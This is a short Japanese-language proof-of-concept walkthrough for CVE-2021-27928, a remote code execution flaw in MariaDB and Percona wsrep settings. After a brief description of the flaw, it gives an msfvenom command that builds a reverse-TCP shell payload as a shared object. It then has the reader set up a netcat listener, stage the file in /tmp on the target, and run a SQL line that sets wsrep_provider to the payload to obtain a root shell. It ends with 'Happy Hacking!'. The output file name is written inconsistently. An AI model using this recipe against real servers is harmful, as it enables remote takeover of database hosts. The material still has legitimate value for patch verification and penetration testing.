
CVE-2021-27928-POC
MariaDB 10.2(10.2.37 より前)、10.3(10.3.28 より前)、10.4(10.4.18 より前)、10.5(10.5.9 より前)、Percona Server(2021-03-03 までのバージョン)、および MySQL 用 wsrep パッチ(2021-03-03 まで)において、リモートコード実行の問題が発見されました。信頼されていない検索パスにより eval インジェクションが発生し、データベースの SUPER ユーザーが wsrep_provider および wsrep_notify_cmd を変更した後に OS コマンドを実行できる可能性があります。注:これは Oracle 製品には影響しません。
Msfvenom でペイロードを作成しましょう。ペイロードには /linux/x64/shell_reverse_tcp を使用し、LHOST に自分のIP、LPORT にポート番号を指定します。また、-f でファイルタイプを指定します。今回の場合は elf-so です。そして、-o オプションで出力ファイルを CVE-2021.27928.so として保存します。
msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT= -f elf-so -o CVE-2021-27928.so

ペイロードの準備ができました!指定したポートで netcat リスナーをセットアップしましょう。
ファイルをターゲットマシンに移動しましょう。これには任意の方法を使用できます。ここでは python http サーバーを使用します。

ファイルを /tmp ディレクトリに保存しましょう

次に、データベースにログインし、wsrep_provider をアップロードしたペイロードに設定する必要があります。
SET GLOBAL wsrep_provider="/tmp/CVE-2021.27928.so";

リスナーを確認しましょう。成功すれば、マシン上で root シェルを取得できているはずです!

Happy Hacking!